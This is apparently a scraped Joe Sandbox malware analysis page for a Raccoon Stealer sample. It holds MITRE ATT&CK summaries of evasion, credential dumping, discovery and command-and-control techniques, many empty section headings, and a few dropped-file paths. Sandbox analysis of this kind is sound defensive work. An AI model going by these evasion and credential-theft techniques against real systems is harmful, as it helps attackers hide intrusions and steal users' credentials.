
Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
Tactics:	Defense Evasion
Data Sources:	Authentication logs, File monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qpwx2wT5ky.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Raccoon Stealer

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LaunchWinApp.exe_774587b722d421177778692fbd3ea27ebb729dee_d75afd38_16ec8da7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER118.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C6.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREDED.tmp.dmp

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qpwx2wT5ky.exe.log

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
qpwx2wT5ky.exe

Function 06AAB240 Relevance: 15.2, Strings: 12, Instructions: 219
COMMON

Function 06AAB230 Relevance: 10.2, Strings: 8, Instructions: 220
COMMON

Function 01775FA8 Relevance: 3.0, Strings: 2, Instructions: 496
COMMON

Function 06AA0D90 Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Function 06AAC94A Relevance: 2.0, APIs: 1, Instructions: 547
COMMON

Function 06AAC194 Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Function 06AAC1A0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 06AA432C Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Function 06AA4338 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Function 01770C84 Relevance: 1.6, APIs: 1, Instructions: 100
libraryCOMMON

Function 017701B0 Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Function 06AAC6D9 Relevance: 1.6, APIs: 1, Instructions: 76
injectionCOMMON

Function 06AAC6E0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre